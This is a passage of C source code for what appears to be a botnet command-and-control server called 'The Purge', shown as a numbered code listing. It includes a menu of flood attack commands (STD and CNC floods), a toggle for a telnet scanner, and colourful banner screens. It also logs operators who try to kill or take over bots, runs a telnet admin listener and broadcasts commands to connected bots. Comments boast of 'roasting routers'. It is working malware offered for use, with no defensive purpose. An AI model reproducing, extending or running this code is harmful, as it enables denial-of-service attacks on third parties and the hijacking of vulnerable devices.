| 630 | sprintf(botnet, "\x1b[0;37m!* STD [IP] [PORT] [TIME] | STD FLOOD\r\n"); | |
| 631 | if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return; | |
| 632 | sprintf(botnet, "\x1b[0;37m!* CNC [IP] [ADMIN PORT] [TIME] | CNC FLOOD\r\n"); | |
| 633 | if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return; | |
| 634 | sprintf(botnet, "\x1b[0;37m[+]\x1b[0;31mExtra Commands-----------------------------------\x1b[0;37m\r\n"); | |
| 635 | if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return; | |
| 636 | sprintf(botnet, "\x1b[0;37m!* KILLATTK | KILLS ALL ATTACKS\r\n"); | |
| 637 | if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return; | |
| 638 | sprintf(botnet, "\x1b[0;37m!* SCANNER ON | OFF | TURNS ON THE TELNET SCANNER\r\n"); | |
| 639 | if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return; | |
| 640 | sprintf(botnet, "\x1b[0;37m[+]\x1b[0;31mSp00ky Commands----------------------------------\x1b[0;37m\r\n"); | |
| 641 | if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return; | |
| 642 | sprintf(botnet, "\x1b[0;37mPORTS | SHOWS THE PORTS TO HIT WITH\r\n"); | |
| 643 | if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return; | |
| 644 | sprintf(botnet, "\x1b[0;37mEXTRA | EXTRA HELP WHEN IT COMES TO HITTING\r\n"); | |
| 645 | if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return; | |
| 646 | sprintf(botnet, "\x1b[0;37mBOTS | SHOW REAL BOT COUNT\r\n"); | |
| 647 | if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return; | |
| 648 | sprintf(botnet, "\x1b[0;37mCLEAR | CLEARS YOUR SCREEN\r\n"); | |
| 649 | if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return; | |
| 650 | sprintf(botnet, "\x1b[0;37mTIME | JUST LOOK AT IT\r\n"); | |
| 651 | if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return; | |
| 652 | } | |
| 653 | if(strstr(buf, "CLS")){
| |
| 654 | ||
| 655 | if(send(thefd, "\033[2J\033[1;1H", 14, MSG_NOSIGNAL) == -1) goto end; | |
| 656 | if(send(thefd, line1, strlen(line1), MSG_NOSIGNAL) == -1) goto end; | |
| 657 | if(send(thefd, line2, strlen(line2), MSG_NOSIGNAL) == -1) goto end; | |
| 658 | if(send(thefd, line3, strlen(line3), MSG_NOSIGNAL) == -1) goto end; | |
| 659 | if(send(thefd, line4, strlen(line4), MSG_NOSIGNAL) == -1) goto end; | |
| 660 | if(send(thefd, line5, strlen(line5), MSG_NOSIGNAL) == -1) goto end; | |
| 661 | if(send(thefd, line6, strlen(line6), MSG_NOSIGNAL) == -1) goto end; | |
| 662 | if(send(thefd, line7, strlen(line7), MSG_NOSIGNAL) == -1) goto end; | |
| 663 | if(send(thefd, line8, strlen(line8), MSG_NOSIGNAL) == -1) goto end; | |
| 664 | pthread_create(&title, NULL, &titleWriter, sock); | |
| 665 | managements[thefd].connected = 1; | |
| 666 | } | |
| 667 | if(strstr(buf, "cls")){
| |
| 668 | if(send(thefd, "\033[2J\033[1;1H", 14, MSG_NOSIGNAL) == -1) goto end; | |
| 669 | if(send(thefd, line1, strlen(line1), MSG_NOSIGNAL) == -1) goto end; | |
| 670 | if(send(thefd, line2, strlen(line2), MSG_NOSIGNAL) == -1) goto end; | |
| 671 | if(send(thefd, line3, strlen(line3), MSG_NOSIGNAL) == -1) goto end; | |
| 672 | if(send(thefd, line4, strlen(line4), MSG_NOSIGNAL) == -1) goto end; | |
| 673 | if(send(thefd, line5, strlen(line5), MSG_NOSIGNAL) == -1) goto end; | |
| 674 | if(send(thefd, line6, strlen(line6), MSG_NOSIGNAL) == -1) goto end; | |
| 675 | if(send(thefd, line7, strlen(line7), MSG_NOSIGNAL) == -1) goto end; | |
| 676 | if(send(thefd, line8, strlen(line8), MSG_NOSIGNAL) == -1) goto end; | |
| 677 | pthread_create(&title, NULL, &titleWriter, sock); | |
| 678 | managements[thefd].connected = 1; | |
| 679 | } | |
| 680 | if(strstr(buf, "CLEAR_BLUE")){
| |
| 681 | ||
| 682 | char blue1 [80]; | |
| 683 | char blue2 [80]; | |
| 684 | char blue3 [80]; | |
| 685 | char blue4 [80]; | |
| 686 | char blue5 [80]; | |
| 687 | char blue6 [80]; | |
| 688 | char blue7 [80]; | |
| 689 | char blue8 [80]; | |
| 690 | ||
| 691 | sprintf(blue1, "\x1b[34m8b,dPPYba, 88 88 8b,dPPYba, ,adPPYb,d8 ,adPPYba, \r\n"); | |
| 692 | sprintf(blue2, "\x1b[34m88P' 8a 88 88 88P' Y8 a8* `Y88 a8P_____88 \r\n"); | |
| 693 | sprintf(blue3, "\x1b[34m88 d8 88 88 88 8b 88 8PP******* \r\n"); | |
| 694 | sprintf(blue4, "\x1b[34m88b, ,a8* 88a, ,a88 88 *8a, ,d88 *8b, ,aa \r\n"); | |
| 695 | sprintf(blue5, "\x1b[34m88`YbbdP@ #YbbdP'Y8 88 `YbbdP*Y8 `*Ybbd88* \r\n"); | |
| 696 | sprintf(blue6, "\x1b[34m88 aa, ,88 \r\n"); | |
| 697 | sprintf(blue7, "\x1b[34m88 *Y8bbdP* \r\n"); | |
| 698 | sprintf(blue8, "\r\n\x1b[37m [+]-\x1b[34mWelcome %s To The Purge\x1b[37m-[+]\r\n", accounts[find_line].id, buf); | |
| 699 | ||
| 700 | if(send(thefd, "\033[2J\033[1;1H", 14, MSG_NOSIGNAL) == -1) goto end; | |
| 701 | if(send(thefd, blue1, strlen(blue1), MSG_NOSIGNAL) == -1) goto end; | |
| 702 | if(send(thefd, blue2, strlen(blue2), MSG_NOSIGNAL) == -1) goto end; | |
| 703 | if(send(thefd, blue3, strlen(blue3), MSG_NOSIGNAL) == -1) goto end; | |
| 704 | if(send(thefd, blue4, strlen(blue4), MSG_NOSIGNAL) == -1) goto end; | |
| 705 | if(send(thefd, blue5, strlen(blue5), MSG_NOSIGNAL) == -1) goto end; | |
| 706 | if(send(thefd, blue6, strlen(blue6), MSG_NOSIGNAL) == -1) goto end; | |
| 707 | if(send(thefd, blue7, strlen(blue7), MSG_NOSIGNAL) == -1) goto end; | |
| 708 | if(send(thefd, blue8, strlen(blue8), MSG_NOSIGNAL) == -1) goto end; | |
| 709 | pthread_create(&title, NULL, &titleWriter, sock); | |
| 710 | managements[thefd].connected = 1; | |
| 711 | continue; | |
| 712 | } | |
| 713 | if(strstr(buf, "CLEAR_PURPLE")){
| |
| 714 | ||
| 715 | char purple1 [80]; | |
| 716 | char purple2 [80]; | |
| 717 | char purple3 [80]; | |
| 718 | char purple4 [80]; | |
| 719 | char purple5 [80]; | |
| 720 | char purple6 [80]; | |
| 721 | char purple7 [80]; | |
| 722 | char purple8 [80]; | |
| 723 | ||
| 724 | sprintf(purple1, "\x1b[35m8b,dPPYba, 88 88 8b,dPPYba, ,adPPYb,d8 ,adPPYba, \r\n"); | |
| 725 | sprintf(purple2, "\x1b[35m88P' 8a 88 88 88P' Y8 a8* `Y88 a8P_____88 \r\n"); | |
| 726 | sprintf(purple3, "\x1b[35m88 d8 88 88 88 8b 88 8PP******* \r\n"); | |
| 727 | sprintf(purple4, "\x1b[35m88b, ,a8* 88a, ,a88 88 *8a, ,d88 *8b, ,aa \r\n"); | |
| 728 | sprintf(purple5, "\x1b[35m88`YbbdP@ #YbbdP'Y8 88 `YbbdP*Y8 `*Ybbd88* \r\n"); | |
| 729 | sprintf(purple6, "\x1b[35m88 aa, ,88 \r\n"); | |
| 730 | sprintf(purple7, "\x1b[35m88 *Y8bbdP* \r\n"); | |
| 731 | sprintf(purple8, "\r\n\x1b[37m [+]-\x1b[35mWelcome %s To The Purge\x1b[37m-[+]\r\n", accounts[find_line].id, buf); | |
| 732 | ||
| 733 | if(send(thefd, "\033[2J\033[1;1H", 14, MSG_NOSIGNAL) == -1) goto end; | |
| 734 | if(send(thefd, purple1, strlen(purple1), MSG_NOSIGNAL) == -1) goto end; | |
| 735 | if(send(thefd, purple2, strlen(purple2), MSG_NOSIGNAL) == -1) goto end; | |
| 736 | if(send(thefd, purple3, strlen(purple3), MSG_NOSIGNAL) == -1) goto end; | |
| 737 | if(send(thefd, purple4, strlen(purple4), MSG_NOSIGNAL) == -1) goto end; | |
| 738 | if(send(thefd, purple5, strlen(purple5), MSG_NOSIGNAL) == -1) goto end; | |
| 739 | if(send(thefd, purple6, strlen(purple6), MSG_NOSIGNAL) == -1) goto end; | |
| 740 | if(send(thefd, purple7, strlen(purple7), MSG_NOSIGNAL) == -1) goto end; | |
| 741 | if(send(thefd, purple8, strlen(purple8), MSG_NOSIGNAL) == -1) goto end; | |
| 742 | pthread_create(&title, NULL, &titleWriter, sock); | |
| 743 | managements[thefd].connected = 1; | |
| 744 | continue; | |
| 745 | } | |
| 746 | if(strstr(buf, "CLEAR_RASTA")){
| |
| 747 | ||
| 748 | char RASTA1 [80]; | |
| 749 | char RASTA2 [80]; | |
| 750 | char RASTA3 [80]; | |
| 751 | char RASTA4 [80]; | |
| 752 | char RASTA5 [80]; | |
| 753 | char RASTA6 [80]; | |
| 754 | char RASTA7 [80]; | |
| 755 | char RASTA8 [80]; | |
| 756 | ||
| 757 | sprintf(RASTA1, "\x1b[1;31m8b,dPPYba, 88 88 8b,dPPYba, ,adPPYb,d8 ,adPPYba, \r\n"); | |
| 758 | sprintf(RASTA2, "\x1b[1;31m88P' 8a 88 88 88P' Y8 a8* `Y88 a8P_____88 \r\n"); | |
| 759 | sprintf(RASTA3, "\x1b[1;33m88 d8 88 88 88 8b 88 8PP******* \r\n"); | |
| 760 | sprintf(RASTA4, "\x1b[1;33m88b, ,a8* 88a, ,a88 88 *8a, ,d88 *8b, ,aa \r\n"); | |
| 761 | sprintf(RASTA5, "\x1b[1;32m88`YbbdP@ #YbbdP'Y8 88 `YbbdP*Y8 `*Ybbd88* \r\n"); | |
| 762 | sprintf(RASTA6, "\x1b[1;32m88 aa, ,88 \r\n"); | |
| 763 | sprintf(RASTA7, "\x1b[1;32m88 *Y8bbdP* \r\n"); | |
| 764 | sprintf(RASTA8, "\r\n\x1b[1;37m [+]-\x1b[1;31mWelcome %s \x1b[1;33mTo The\x1b[32m Purge\x1b[1;37m-[+]\r\n", accounts[find_line].id, buf); | |
| 765 | ||
| 766 | if(send(thefd, "\033[2J\033[1;1H", 14, MSG_NOSIGNAL) == -1) goto end; | |
| 767 | if(send(thefd, RASTA1, strlen(RASTA1), MSG_NOSIGNAL) == -1) goto end; | |
| 768 | if(send(thefd, RASTA2, strlen(RASTA2), MSG_NOSIGNAL) == -1) goto end; | |
| 769 | if(send(thefd, RASTA3, strlen(RASTA3), MSG_NOSIGNAL) == -1) goto end; | |
| 770 | if(send(thefd, RASTA4, strlen(RASTA4), MSG_NOSIGNAL) == -1) goto end; | |
| 771 | if(send(thefd, RASTA5, strlen(RASTA5), MSG_NOSIGNAL) == -1) goto end; | |
| 772 | if(send(thefd, RASTA6, strlen(RASTA6), MSG_NOSIGNAL) == -1) goto end; | |
| 773 | if(send(thefd, RASTA7, strlen(RASTA7), MSG_NOSIGNAL) == -1) goto end; | |
| 774 | if(send(thefd, RASTA8, strlen(RASTA8), MSG_NOSIGNAL) == -1) goto end; | |
| 775 | pthread_create(&title, NULL, &titleWriter, sock); | |
| 776 | managements[thefd].connected = 1; | |
| 777 | continue; | |
| 778 | } | |
| 779 | if(strstr(buf, "CLEAR_WHITE")){
| |
| 780 | ||
| 781 | char WHITE1 [80]; | |
| 782 | char WHITE2 [80]; | |
| 783 | char WHITE3 [80]; | |
| 784 | char WHITE4 [80]; | |
| 785 | char WHITE5 [80]; | |
| 786 | char WHITE6 [80]; | |
| 787 | char WHITE7 [80]; | |
| 788 | char WHITE8 [80]; | |
| 789 | ||
| 790 | sprintf(WHITE1, "\x1b[1;37m8b,dPPYba, 88 88 8b,dPPYba, ,adPPYb,d8 ,adPPYba, \r\n"); | |
| 791 | sprintf(WHITE2, "\x1b[1;37m88P' 8a 88 88 88P' Y8 a8* `Y88 a8P_____88 \r\n"); | |
| 792 | sprintf(WHITE3, "\x1b[1;37m88 d8 88 88 88 8b 88 8PP******* \r\n"); | |
| 793 | sprintf(WHITE4, "\x1b[1;37m88b, ,a8* 88a, ,a88 88 *8a, ,d88 *8b, ,aa \r\n"); | |
| 794 | sprintf(WHITE5, "\x1b[1;37m88`YbbdP@ #YbbdP'Y8 88 `YbbdP*Y8 `*Ybbd88* \r\n"); | |
| 795 | sprintf(WHITE6, "\x1b[1;37m88 aa, ,88 \r\n"); | |
| 796 | sprintf(WHITE7, "\x1b[1;37m88 *Y8bbdP* \r\n"); | |
| 797 | sprintf(WHITE8, "\r\n\x1b[37m [+]-Welcome %s To The Purge-[+]\r\n", accounts[find_line].id, buf); | |
| 798 | ||
| 799 | if(send(thefd, "\033[2J\033[1;1H", 14, MSG_NOSIGNAL) == -1) goto end; | |
| 800 | if(send(thefd, WHITE1, strlen(WHITE1), MSG_NOSIGNAL) == -1) goto end; | |
| 801 | if(send(thefd, WHITE2, strlen(WHITE2), MSG_NOSIGNAL) == -1) goto end; | |
| 802 | if(send(thefd, WHITE3, strlen(WHITE3), MSG_NOSIGNAL) == -1) goto end; | |
| 803 | if(send(thefd, WHITE4, strlen(WHITE4), MSG_NOSIGNAL) == -1) goto end; | |
| 804 | if(send(thefd, WHITE5, strlen(WHITE5), MSG_NOSIGNAL) == -1) goto end; | |
| 805 | if(send(thefd, WHITE6, strlen(WHITE6), MSG_NOSIGNAL) == -1) goto end; | |
| 806 | if(send(thefd, WHITE7, strlen(WHITE7), MSG_NOSIGNAL) == -1) goto end; | |
| 807 | if(send(thefd, WHITE8, strlen(WHITE8), MSG_NOSIGNAL) == -1) goto end; | |
| 808 | pthread_create(&title, NULL, &titleWriter, sock); | |
| 809 | managements[thefd].connected = 1; | |
| 810 | continue; | |
| 811 | } | |
| 812 | if(strstr(buf, "CLEAR_SMALL")){
| |
| 813 | if(send(thefd, "\033[2J\033[1;1H", 14, MSG_NOSIGNAL) == -1) goto end; | |
| 814 | char small1[80]; | |
| 815 | ||
| 816 | sprintf(small1, "\x1b[0;37m*\x1b[0;31m Welcome To The Purge \x1b[0;37m *\r\n"); | |
| 817 | ||
| 818 | if(send(thefd, "\x1b[0;37m****************************************\r\n", 51, MSG_NOSIGNAL) == -1) goto end; | |
| 819 | if(send(thefd, small1, strlen(small1), MSG_NOSIGNAL) == -1) goto end; | |
| 820 | if(send(thefd, "\x1b[0;37m****************************************\r\n\r\n~>\x1b[0m", 50, MSG_NOSIGNAL) == -1) goto end; | |
| 821 | pthread_create(&title, NULL, &titleWriter, sock); | |
| 822 | managements[thefd].connected = 1; | |
| 823 | continue; | |
| 824 | } | |
| 825 | ||
| 826 | if(strstr(buf, "LOGOUT")) | |
| 827 | {
| |
| 828 | sprintf(botnet, "Bye %s Cya Next Time\r\n", accounts[find_line].id, buf); | |
| 829 | if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return; | |
| 830 | goto end; | |
| 831 | } // fuck the time limit we roasting routers boi >:) | |
| 832 | if(strstr(buf, "9999999999")) | |
| 833 | {
| |
| 834 | printf("ATTEMPT TO SEND MORE TIME THEN NEEDED BY %s\n", accounts[find_line].id, buf);
| |
| 835 | FILE *logFile; | |
| 836 | logFile = fopen("TIME.log", "a");
| |
| 837 | fprintf(logFile, "ATTEMPT TO SEND MORE TIME THEN NEEDED BY %s\n", accounts[find_line].id, buf); | |
| 838 | fclose(logFile); | |
| 839 | goto end; | |
| 840 | } // max time | |
| 841 | if(strstr(buf, "9999999999")) | |
| 842 | {
| |
| 843 | printf("ATTEMPT TO SEND MORE TIME THEN NEEDED BY %s\n", accounts[find_line].id, buf);
| |
| 844 | FILE *logFile; | |
| 845 | logFile = fopen("TIME.log", "a");
| |
| 846 | fprintf(logFile, "ATTEMPT TO SEND MORE TIME THEN NEEDED BY %s\n", accounts[find_line].id, buf); | |
| 847 | fclose(logFile); | |
| 848 | goto end; | |
| 849 | } // max time | |
| 850 | if(strstr(buf, "9999999999")) | |
| 851 | {
| |
| 852 | printf("ATTEMPT TO SEND MORE TIME THEN NEEDED BY %s\n", accounts[find_line].id, buf);
| |
| 853 | FILE *logFile; | |
| 854 | logFile = fopen("TIME.log", "a");
| |
| 855 | fprintf(logFile, "ATTEMPT TO SEND MORE TIME THEN NEEDED BY %s\n", accounts[find_line].id, buf); | |
| 856 | fclose(logFile); | |
| 857 | goto end; | |
| 858 | } // max time | |
| 859 | if(strstr(buf, "9999999999")) | |
| 860 | {
| |
| 861 | printf("ATTEMPT TO SEND MORE TIME THEN NEEDED BY %s\n", accounts[find_line].id, buf);
| |
| 862 | FILE *logFile; | |
| 863 | logFile = fopen("TIME.log", "a");
| |
| 864 | fprintf(logFile, "ATTEMPT TO SEND MORE TIME THEN NEEDED BY %s\n", accounts[find_line].id, buf); | |
| 865 | fclose(logFile); | |
| 866 | goto end; | |
| 867 | } // max time | |
| 868 | if(strstr(buf, "9999999999")) | |
| 869 | {
| |
| 870 | printf("ATTEMPT TO SEND MORE TIME THEN NEEDED BY %s\n", accounts[find_line].id, buf);
| |
| 871 | FILE *logFile; | |
| 872 | logFile = fopen("TIME.log", "a");
| |
| 873 | fprintf(logFile, "ATTEMPT TO SEND MORE TIME THEN NEEDED BY %s\n", accounts[find_line].id, buf); | |
| 874 | fclose(logFile); | |
| 875 | goto end; | |
| 876 | } // max time | |
| 877 | if(strstr(buf, "9999999999")) | |
| 878 | {
| |
| 879 | printf("ATTEMPT TO SEND MORE TIME THEN NEEDED BY %s\n", accounts[find_line].id, buf);
| |
| 880 | FILE *logFile; | |
| 881 | logFile = fopen("TIME.log", "a");
| |
| 882 | fprintf(logFile, "ATTEMPT TO SEND MORE TIME THEN NEEDED BY %s\n", accounts[find_line].id, buf); | |
| 883 | fclose(logFile); | |
| 884 | goto end; | |
| 885 | } // max time | |
| 886 | if(strstr(buf, "9999999999")) | |
| 887 | {
| |
| 888 | printf("ATTEMPT TO SEND MORE TIME THEN NEEDED BY %s\n", accounts[find_line].id, buf);
| |
| 889 | FILE *logFile; | |
| 890 | logFile = fopen("TIME.log", "a");
| |
| 891 | fprintf(logFile, "ATTEMPT TO SEND MORE TIME THEN NEEDED BY %s\n", accounts[find_line].id, buf); | |
| 892 | fclose(logFile); | |
| 893 | goto end; | |
| 894 | } // max time | |
| 895 | if(strstr(buf, "9999999999")) | |
| 896 | {
| |
| 897 | printf("ATTEMPT TO SEND MORE TIME THEN NEEDED BY %s\n", accounts[find_line].id, buf);
| |
| 898 | FILE *logFile; | |
| 899 | logFile = fopen("TIME.log", "a");
| |
| 900 | fprintf(logFile, "ATTEMPT TO SEND MORE TIME THEN NEEDED BY %s\n", accounts[find_line].id, buf); | |
| 901 | fclose(logFile); | |
| 902 | goto end; | |
| 903 | } // max time | |
| 904 | if(strstr(buf, "9999999999")) | |
| 905 | {
| |
| 906 | printf("ATTEMPT TO SEND MORE TIME THEN NEEDED BY %s\n", accounts[find_line].id, buf);
| |
| 907 | FILE *logFile; | |
| 908 | logFile = fopen("TIME.log", "a");
| |
| 909 | fprintf(logFile, "ATTEMPT TO SEND MORE TIME THEN NEEDED BY %s\n", accounts[find_line].id, buf); | |
| 910 | fclose(logFile); | |
| 911 | goto end; | |
| 912 | } // max time | |
| 913 | if(strstr(buf, "9999999999")) | |
| 914 | {
| |
| 915 | printf("ATTEMPT TO SEND MORE TIME THEN NEEDED BY %s\n", accounts[find_line].id, buf);
| |
| 916 | FILE *logFile; | |
| 917 | logFile = fopen("TIME.log", "a");
| |
| 918 | fprintf(logFile, "ATTEMPT TO SEND MORE TIME THEN NEEDED BY %s\n", accounts[find_line].id, buf); | |
| 919 | fclose(logFile); | |
| 920 | goto end; | |
| 921 | } | |
| 922 | if(strstr(buf, "9999999999")) | |
| 923 | {
| |
| 924 | printf("ATTEMPT TO SEND MORE TIME THEN NEEDED BY %s\n", accounts[find_line].id, buf);
| |
| 925 | FILE *logFile; | |
| 926 | logFile = fopen("TIME.log", "a");
| |
| 927 | fprintf(logFile, "ATTEMPT TO SEND MORE TIME THEN NEEDED BY %s\n", accounts[find_line].id, buf); | |
| 928 | fclose(logFile); | |
| 929 | goto end; | |
| 930 | } // max time | |
| 931 | if(strstr(buf, "9999999999")) | |
| 932 | {
| |
| 933 | printf("ATTEMPT TO SEND MORE TIME THEN NEEDED BY %s\n", accounts[find_line].id, buf);
| |
| 934 | FILE *logFile; | |
| 935 | logFile = fopen("TIME.log", "a");
| |
| 936 | fprintf(logFile, "ATTEMPT TO SEND MORE TIME THEN NEEDED BY %s\n", accounts[find_line].id, buf); | |
| 937 | fclose(logFile); | |
| 938 | goto end; | |
| 939 | } // max time | |
| 940 | if(strstr(buf, "9999999999")) | |
| 941 | {
| |
| 942 | printf("ATTEMPT TO SEND MORE TIME THEN NEEDED BY %s\n", accounts[find_line].id, buf);
| |
| 943 | FILE *logFile; | |
| 944 | logFile = fopen("TIME.log", "a");
| |
| 945 | fprintf(logFile, "ATTEMPT TO SEND MORE TIME THEN NEEDED BY %s\n", accounts[find_line].id, buf); | |
| 946 | fclose(logFile); | |
| 947 | goto end; | |
| 948 | } // max time | |
| 949 | if(strstr(buf, "9999999999")) | |
| 950 | {
| |
| 951 | printf("ATTEMPT TO SEND MORE TIME THEN NEEDED BY %s\n", accounts[find_line].id, buf);
| |
| 952 | FILE *logFile; | |
| 953 | logFile = fopen("TIME.log", "a");
| |
| 954 | fprintf(logFile, "ATTEMPT TO SEND MORE TIME THEN NEEDED BY %s\n", accounts[find_line].id, buf); | |
| 955 | fclose(logFile); | |
| 956 | goto end; | |
| 957 | } // max time | |
| 958 | if(strstr(buf, "9999999999")) | |
| 959 | {
| |
| 960 | printf("ATTEMPT TO SEND MORE TIME THEN NEEDED BY %s\n", accounts[find_line].id, buf);
| |
| 961 | FILE *logFile; | |
| 962 | logFile = fopen("TIME.log", "a");
| |
| 963 | fprintf(logFile, "ATTEMPT TO SEND MORE TIME THEN NEEDED BY %s\n", accounts[find_line].id, buf); | |
| 964 | fclose(logFile); | |
| 965 | goto end; | |
| 966 | } | |
| 967 | if(strstr(buf, "LOLNOGTFO")) | |
| 968 | {
| |
| 969 | printf("ATTEMPT TO KILL BOTS BY %s\n", accounts[find_line].id, buf);
| |
| 970 | FILE *logFile; | |
| 971 | logFile = fopen("KILL.log", "a");
| |
| 972 | fprintf(logFile, "ATTEMPT TO KILL BOTS BY %s\n", accounts[find_line].id, buf); | |
| 973 | fclose(logFile); | |
| 974 | goto end; | |
| 975 | } | |
| 976 | if(strstr(buf, "GTFOFAG")) | |
| 977 | {
| |
| 978 | printf("ATTEMPT TO KILL BOTS BY %s\n", accounts[find_line].id, buf);
| |
| 979 | FILE *logFile; | |
| 980 | logFile = fopen("KILL.log", "a");
| |
| 981 | fprintf(logFile, "ATTEMPT TO KILL BOTS BY %s\n", accounts[find_line].id, buf); | |
| 982 | fclose(logFile); | |
| 983 | goto end; | |
| 984 | }//if you dont like this just take out common sense | |
| 985 | if(strstr(buf, "SH")) | |
| 986 | {
| |
| 987 | printf("ATTEMPT TO SHELL YOUR BOTS BY %s\n", accounts[find_line].id, buf);
| |
| 988 | FILE *logFile; | |
| 989 | logFile = fopen("SH.log", "a");
| |
| 990 | fprintf(logFile, "ATTEMPT TO STEAL BOTS %s\n", accounts[find_line].id, buf); | |
| 991 | fclose(logFile); | |
| 992 | goto end; | |
| 993 | } | |
| 994 | if(strstr(buf, "SHELL")) | |
| 995 | {
| |
| 996 | printf("ATTEMPT TO SHELL YOUR BOTS BY %s\n", accounts[find_line].id, buf);
| |
| 997 | FILE *logFile; | |
| 998 | logFile = fopen("SH.log", "a");
| |
| 999 | fprintf(logFile, "ATTEMPT TO STEAL BOTS BY %s\n", accounts[find_line].id, buf); | |
| 1000 | fclose(logFile); | |
| 1001 | goto end; | |
| 1002 | } | |
| 1003 | trim(buf); | |
| 1004 | if(send(thefd, "\x1b[37m~> \x1b[0m", 11, MSG_NOSIGNAL) == -1) goto end; | |
| 1005 | if(strlen(buf) == 0) continue; | |
| 1006 | printf("%s: \"%s\"\n",accounts[find_line].id, buf);
| |
| 1007 | FILE *logFile; | |
| 1008 | logFile = fopen("report.log", "a");
| |
| 1009 | fprintf(logFile, "%s: \"%s\"\n",accounts[find_line].id, buf); | |
| 1010 | fclose(logFile); | |
| 1011 | broadcast(buf, thefd, usernamez); | |
| 1012 | memset(buf, 0, 2048); | |
| 1013 | } | |
| 1014 | ||
| 1015 | end: // cleanup dead socket | |
| 1016 | managements[thefd].connected = 0; | |
| 1017 | close(thefd); | |
| 1018 | managesConnected--; | |
| 1019 | } | |
| 1020 | void *telnetListener(int port) | |
| 1021 | {
| |
| 1022 | int sockfd, newsockfd; | |
| 1023 | socklen_t clilen; | |
| 1024 | struct sockaddr_in serv_addr, cli_addr; | |
| 1025 | sockfd = socket(AF_INET, SOCK_STREAM, 0); | |
| 1026 | if (sockfd < 0) perror("ERROR opening socket");
| |
| 1027 | bzero((char *) &serv_addr, sizeof(serv_addr)); | |
| 1028 | serv_addr.sin_family = AF_INET; | |
| 1029 | serv_addr.sin_addr.s_addr = INADDR_ANY; | |
| 1030 | serv_addr.sin_port = htons(port); | |
| 1031 | if (bind(sockfd, (struct sockaddr *) &serv_addr, sizeof(serv_addr)) < 0) perror("ERROR on binding");
| |
| 1032 | listen(sockfd,5); | |
| 1033 | clilen = sizeof(cli_addr); | |
| 1034 | while(1) | |
| 1035 | {
| |
| 1036 | newsockfd = accept(sockfd, (struct sockaddr *) &cli_addr, &clilen); | |
| 1037 | if (newsockfd < 0) perror("ERROR on accept");
| |
| 1038 | pthread_t thread; | |
| 1039 | pthread_create( &thread, NULL, &telnetWorker, (void *)newsockfd); | |
| 1040 | } | |
| 1041 | } | |
| 1042 | ||
| 1043 | int main (int argc, char *argv[], void *sock) | |
| 1044 | {
| |
| 1045 | signal(SIGPIPE, SIG_IGN); // ignore broken pipe errors sent from kernel | |
| 1046 | int s, threads, port; | |
| 1047 | struct epoll_event event; | |
| 1048 | if (argc != 4) | |
| 1049 | {
| |
| 1050 | fprintf (stderr, "Usage: %s [port] [threads] [cnc-port]\n", argv[0]); | |
| 1051 | exit (EXIT_FAILURE); | |
| 1052 | } | |
| 1053 | port = atoi(argv[3]); | |
| 1054 | printf("\x1b[32mPrivate file,\x1b[33m if you have it, \x1b[34mDO \x1b[35mNOT \x1b[36mLEAK\x1b[0m\n");
| |
| 1055 | telFD = fopen("bots.txt", "a+");
| |
| 1056 | threads = atoi(argv[2]); | |
| 1057 | listenFD = create_and_bind (argv[1]); // try to create a listening socket, die if we can't | |
| 1058 | if (listenFD == -1) abort (); | |
| 1059 | s = make_socket_non_blocking (listenFD); // try to make it nonblocking, die if we can't | |
| 1060 | if (s == -1) abort (); | |
| 1061 | s = listen (listenFD, SOMAXCONN); // listen with a huuuuge backlog, die if we can't | |
| 1062 | if (s == -1) | |
| 1063 | {
| |
| 1064 | perror ("listen");
| |
| 1065 | abort (); | |
| 1066 | } | |
| 1067 | epollFD = epoll_create1 (0); // make an epoll listener, die if we can't | |
| 1068 | if (epollFD == -1) | |
| 1069 | {
| |
| 1070 | perror ("epoll_create");
| |
| 1071 | abort (); | |
| 1072 | } | |
| 1073 | event.data.fd = listenFD; | |
| 1074 | event.events = EPOLLIN | EPOLLET; | |
| 1075 | s = epoll_ctl (epollFD, EPOLL_CTL_ADD, listenFD, &event); | |
| 1076 | if (s == -1) | |
| 1077 | {
| |
| 1078 | perror ("epoll_ctl");
| |
| 1079 | abort (); | |
| 1080 | } | |
| 1081 | pthread_t thread[threads + 2]; | |
| 1082 | while(threads--) | |
| 1083 | {
| |
| 1084 | pthread_create( &thread[threads + 2], NULL, &epollEventLoop, (void *) NULL); // make a thread to command each bot individually | |
| 1085 | } | |
| 1086 | pthread_create(&thread[0], NULL, &telnetListener, port); | |
| 1087 | while(1) | |
| 1088 | {
| |
| 1089 | broadcast("PING", -1, "PURGE");
| |
| 1090 | sleep(60); | |
| 1091 | } | |
| 1092 | close (listenFD); | |
| 1093 | return EXIT_SUCCESS; | |
| 1094 | } |